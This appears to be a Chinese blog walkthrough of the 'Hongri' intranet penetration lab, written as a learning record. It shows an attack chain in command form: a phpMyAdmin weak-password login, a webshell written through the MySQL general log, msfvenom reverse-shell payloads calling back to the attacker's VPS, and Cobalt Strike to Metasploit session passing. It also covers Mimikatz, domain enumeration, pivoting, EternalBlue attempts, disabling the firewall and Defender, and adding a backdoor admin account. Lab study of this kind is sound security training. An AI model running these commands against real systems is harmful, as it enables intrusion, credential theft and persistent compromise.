目录
前言:
信息收集:
phpmyadmin getshell
日志写shell
yxcms getshell
植入后们:
内网域环境信息收集:
基于msf 进行信息收集:
基于msf 内网信息收集:
内网收集思路总结:
CS派生会话给公网MSF
CS开启监听:
3.cs 派生会话。
编辑
MSF 利用MSF小记 | 命令 (lmlphp.com):
MSF进行 永恒之蓝攻击:
MSF 内网端口扫描。
利用ms17-010
总结:
仅记录学习过程,期间也会借鉴其他师傅的文章
靶场环境搭建的话,可以参考其他师傅。
我的环境:
kali (攻击机):192.168.92.129
Windows 7 (web服务器):192.168.92.128(外网和kali连通)、192.168.52.143(内网)
Windows 2008 (域控):192.168.52.138
Win2k3 (域管):192.168.52.141
因为web 网页是起来了,如果我们不知道对方的环境,借此,我们可以对这个网站进行扫描。
看到80端口起了HTTP服务, 3306端口起了 mysql
访问一下此 IP 的80 端口。
是一个phpinfo() 针探页面 ,以这个网址为根目录,再扫描一下其他路径。工具挺多,得看字典了。我使用的 dirsearch
扫到了 phpinfo.php 还有一个phpmyadmin 后台,这里应该还有一个beifen.rar,字典不够强
访问phpmyadmin 好像是要我们弱口令登录,如果是公共机的话,一般都会存在弱口令的,这里试下admin admin root root admin 123456 等弱口令,试出来是root root 如果实在是不行,可以用bp爆破。
拿到 pgpmyadmin 后 ,接下来就要用phpmyadmin 去getshell 。
一、 into outfile 和into dumpfile 写马
这两个可以写马,但是有区别的,一个可以写多行,另一个只能写一行,具体不清楚,并且他们使用的时候需要条件,就是配置文件中的 secure_file_prive 这个值是需要要求的。
我们可以查看一下secure_file_prive 值:
show variables like "%secure_file%";
into写入文件:
使用需看要secure_file_priv的值。
当value为“null”时,不允许写入或者读取
当value为“空”时,允许读取任意文件
当value为"/tmp"时,只允许在/tmp目录中写入和读取
value可也已设置为其他路径。
这里 show variables like "secure_file_prive%" 查询的结果为空,就行不通了。
看到这里的值为NULL 所以是 不允许写入或者读取文件。
ps 如果想要通过into 写入文件:
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
如果我们可以利用写写文件的命令时,我们需要知道当前目录的情况,这需要一个查询当前目录的指令:
select @@basedir
知道当前目录情况,直接写马就好了
然后通过执行select ‘’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。
select 1,'' INTO OUTFILE '/var/www/html/test.php'#
select 1,'' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行
写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
应该是用的最多的一个姿势了,因为日志的文件名可控,而且 写入的位置也可控。
查看日志状态:
show variables like ‘%general%’;
general_log 和general_log_file 的简述:
- mysql打开general_log 开关后,所有对数据库的操作都将记录在general_log_file指定的文件目录中 以原始的状态来显示,如果将general_log开关打开,general_log_file 指定一个php 文件,则查询的操作 将会全部写入到 general_log_file 指定的文件,可以通过访问 general_log_file 指定的文件来获取 webshell。
上面看到 general_log 的value是off 我们需要手动开启。
set global general_log = "ON"; //开启记录查询操作
set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.
成功修改选项。 指定日志会写入到网站根目录的 1.php文件里。
也就是说,我们执行查询语句,他会把操作的内容写入到1.php 里面,所以我们执行
select ''
访问 1.php
有报错,说明确实是写进去了。windows10 用蚁剑连一下。
成功连接。看到有个beifen,其中是yxcms的源码。
右下角还有个提示,根据提示,成功登入后台。
可以上传 文件,且后缀为php,只能说有点过于简单了,真实环境不可能让你这样玩的
文件已上传,可通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径:
路径为: /yxcms/protected/apps/default/view/default
这就成功拿到shell 了。似乎有点简单了。。
既然已经拿到webshell , 那么久要开始实现从web 跳到内网了,这里需要用到一个工具:
Cobaltsrike 简称CS
公网VPS 上运行CS服务:,记得给权限
2、本地 Win10 物理机运行 CS 客户端并连接 CS 服务端,然后生成 exe 可执行 Backdoor 程序:
连的你的vps 。
接下来进行简单的靶机信息收集:
可以使用 MImikatz 直接抓取本机用户密码。
看到这台 win7服务器机器 的密码,也就是我们自己设置的windows7密码
进一步还可以利用 svc-exe 提权到 system 系统权限用户
创建新的接口,输入命令。
看到我们已经是这台机子的 系统权限账户了。
内网信息收集的主要目的就是查找域控以及域内的其他主机, 以下是部分内网信息收集的命令:
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1,先判断是否存在域,使用 shell ipconfig /all 查看dns 服务器,发现主DNS 后缀不为空,存在域god.org 。
或者使用 net config Workstation 来查看当前计算机名,全名,用户名,系统版本,工作站,域,登录域。等信息
2. 上面发现 DNS服务器为god.org ,当前登录域为GOD ,那接下来 可执行 net view /domain 查看一下有几个域 (域环境可能存在多个域)
3.既然只有一个域,那就利用 net group "domain controllers" /domain命令查看域控制器主机名,直接确认域控主机的名称为:OWA$
4. 已经确认域控主机的名称为 OWA ,继续执行命令 net view 查看局域网 其他主机信息。(主机名称,IP),可得知域控主机 IP 为 192.168.52.138
5.局域网扫描出来除了域控主机 之外,还有另一台主机, 名为:ROOT-TVI862UBEH 。
最后再确认一下该主机是否也是存在域中,故执行命令
shell net group "domain computers" /domain
查看域中的其他主机名,发现包含ROOT-TVI862UBEH ,故域中还包含一个域成员主机 其IP地址为:192.168.52.141 如图下所示:
至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138
,同时还存在另一台域成员192.168.52.141
,接下来的目标就是横向渗透拿下域控!
msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.20.10.8 LPORT=1234 -f exe -o run2.exe
//这里的LOHOST和LPORT是你kali的ip 和端口,生成一个exe文件
然后开启监听本地ip和端口模式:
use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 172.20.10.8
set lport 1234
exploit -j(后台)允许
因为我们已经拿下了服务器,所以我们可以用蚁剑 上传我们的exe 文件到服务器
然后运行此exe 文件
之后我们sessions 1 就可以运行我们后续的payload。
msf 也可以直接system提权。
sysinfo 收集主机信息:
查看域内其他主机:
确认域控:
net group “domain controllers” /domain
cs上线之后,可以先用 net config Workstation 查看当前用户域信息 。可以用 net view /domain 来查看一下有多少个域,因为一个环境可能存在多个域。 如已确认域控主机,可以再进一步收集局域网内其他主机信息 net view收集其他主机ip 。
接下来将通过 win 7 作为跳板机,横向渗透拿下内网域内的域成员主机和域控。
msf 框架继承了诸多渗透测试的利器,在内网渗透中经常要将CS和MSF搭配起来使用,下面演示如何将 cs 获取到的会话派生给MSF。
我在vps 主机上同时搭建了msf 框架和 cs服务,所以我们的vps需要开两个窗口,一个是cs服务,一个是msf 服务
,其中msf 的搭建只需执行以下命令:
apt-get install curl,wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
#上面这条命令是 下载安装
chmod 755 msfinstall
执行安装脚本:./msfinstall
启动MSF框架: msfconsole
use exploit/multi/handler //使用模块
set payload windows/meterpreter/reverse_http //设置payload
set lhost 104.168.***.*** //设置本地地址
set lport 6666 //设置本地端口
exploit //执行
msf这方面的介绍:MSF的使用教程_zkzq的博客-CSDN博客_msf
如图所示:
回到CS 中添加 监听器,payload 为 windows/foreign/reverse_http , IP 为MSF的IP,监听端口为MSF的监听端口。
选择刚刚新建的
返回vps 中的msf 窗口可以看到shell 会话。
获得msf会话后即可使用 msf 集成诸多强大功能模块和脚本,,如调用post/windows/gather/checkvm 判断靶机是否属于虚拟机 (检查是否进了蜜罐):
再如 调用post/windows/gather/enum_applications 模块枚举列出安装在靶机上的应用程序:
公网vps 上 MSF获得会话后,目标是借助 msf 集成的攻击模块展开 横向渗透 拿下内网其他机器:
静态路由配置:
MSF的autoroute 模块是msf框架中 自带的一个路由转发功能,实现过程是msf 框架在已经获取的
Meterpreter Shell 的基础上 添加一条去往 “内网” 的路由,直接使用msf 去访问原本不能直接访问的内网资源,只要路由可达,我们就可以使用msf来探测了。
首先需要配置静态路由:
#加载MSF的autoroute模块,获取当前机器的所有网段信息
meterpreter > run post/multi/manage/autoroute
#添加目标内网路由
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
看到有两个网段,一个是内网的 还有一个是外网的 ,所以我们要添加一条到内网网段的路由:
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
添加目标内网路由(添加失败,因为该路由已存在):
现在路由可达内网网段,可以先对内网主机进行探测。
1。先执行backgroud 命令将当前执行的meterpreter 会话切换到后台,(后续也可以执行 sessions -i 重新返回会话),然后使用msf 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run
扫到 域成员 开放了 445 , 135 , 139 端口,同样的,我们扫一下 域控主机开放的端口:
同样的,域控(192.168.52.138)也开启了 445端口。
插入一下,至于为什么是445 端口,因为这是永恒之蓝漏洞(MS17-010) 通过 TCP 的445和139端口,来利用SMBv1 和NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的Windows 主机, 只要用户主机开机联网,即可,通过该漏洞控制用户的主机。从而进一步
auxiliary/scanner/smb/smb_ms17_010 //扫描模块
exploit/windows/smb/ms17_010_eternalblue // 攻击模块
一般是先扫描,若显示有漏洞 再攻击。
msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run #进行扫描,观察是否存在该漏洞
可以看到两台主机都可以使用永恒之蓝漏洞。
接下来尝试利用永恒之蓝漏洞拿下域控主机 192.168.52.138使用MSF集成的漏洞 ms17-010 exp
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run
最终是失败了,应该是没关win7防火墙
msf6-> sessions -l #查看所有会话
msf6-> sessions 4 #进入会话4中 //你查看所有会话,就是切换到哪个id
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender
windows7 提示关闭了
接着重新对域控主机进行永恒之蓝攻击: 再来!
还是没能成功。。试一下用 psexec吧,不然也没办法。
。。。。。
还是失败了。 搜了下好像要 设置targets?
show targets
我们要控制的靶机 id 为3
set target 3
再执行一下exp,无奈还是不能成功
由于已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令run post/windows/manage/enable_rdp
即可开启靶机的远程桌面:
成功连接上
#win7开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user Tr0e Pass!@123 /add
# 给Tr0e账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加 Tr0e 用户
net user Tr0e
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
上述命令可以再冰蝎 菜刀的命令终端执行。
至此 红日靶场一 已经结束。
内网水很深,还需要多多琢磨,其次,这是我第一次打内网靶机,自己的能力还是很不足,永恒之蓝没能打进去是非常遗憾,后面还会继续加油,打红日二。 网安任重道远。